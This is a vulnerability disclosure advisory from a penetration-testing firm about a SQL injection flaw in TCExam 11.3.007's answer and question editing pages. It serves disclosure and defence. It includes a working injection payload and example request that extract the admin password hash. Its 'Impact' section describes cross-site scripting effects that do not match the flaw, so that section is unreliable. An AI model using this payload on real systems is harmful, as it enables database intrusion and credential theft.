Reaction Information Security

Penetration testing at its best.

Network penetration testing, web application security, firewall review, CHECK pen testing, server build review, social engineering..


TCExam Edit SQL Injection

Summary

TCExam 11.3.007 is prone to a SQL injection flaw located in tce_edit_answer.php and tce_edit_question.php. These files pass a 'subject_module_id' parameter into a SQL statement without satisfactory sanitisation. An attacker with authoring permissions could leverage this vulnerability to take full control of the database.

  • CVE number: CVE-2012-4237
  • Impact: High
  • Vendor homepage: http://www.tcexam.org/
  • Vendor notified: 06/08/2012
  • Vendor fixed: 06/08/2012
  • Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security

About ReactionIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

Affected Products

Confirmed in TCExam 11.3.007. Prior versions may also be affected.

Details

The 'subject_module_id' parameters in the tce_edit_answer.php and tce_edit_question.php pages were found to be subject to a SQL injection vulnerability. It was possible to inject arbitrary SQL statements into a WHERE clause, retrieving information from the database via the page output. The attacker must be authenticated as a valid user with a permission level of 5 or above in order for the attack to be successful.

The following payload will extract the admin password hash (some characters may need to be URL encoded):

999999.9 union all select (select concat(0x7e,0x27,tce_users.user_password
,0x27,0x7e) from `tcexam`.tce_users where tce_users.user_name = CHAR(97,100
,109,105,110) limit 0,1) ,0x0,0x0,0x0,0x0,0x0--

---
Example Request:
+---------------

GET /TCExam/admin/code/tce_edit_answer.php?subject_module_id=999999.9+union+
all+select+%28select+concat%280x7e%2C0x27%2Ctce_users.user_password%2C0x27%2C
0x7e%29+from+%60tcexam%60.tce_users+where+tce_users.user_name+%3d+CHAR(97,100
,109,105,110)+limit+0%2C1%29+%2C0x0%2C0x0%2C0x0%2C0x0%2C0x0--&question_subject
_id=3&answer_question_id=7 HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/TCExam/admin/code/tce_edit_question.php
Cookie: PHPSESSID=db1fe2b665994ff76356e7a28abfa5df

---
Example Response:
+----------------

--- SNIP ---
<select name="question_subject_id" id="question_subject_id" size="0"
onchange="document.getElementById('form_answereditor').changesubject.value=1;
document.getElementById('form_answereditor').submit();" title="test topic">
<option value="~'c574b5b09ab10f4f39ae9dce6d539cf0'~">1. - [%00]</option>
</select>
--- SNIP ---

Impact

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.

Solution

Upgrade to TCExam 11.3.008.

Distribution

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

  • bugtraq () securityfocus com
  • full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.

Get a Quote Online

Submit your testing requirements online and one of the team will get right back to you.

Penetration Testing Services

Firewall reviews, database audits, code reviews, social engineering and more..

Application Security

Ensure your web and mobile apps are safe from attack.

Read more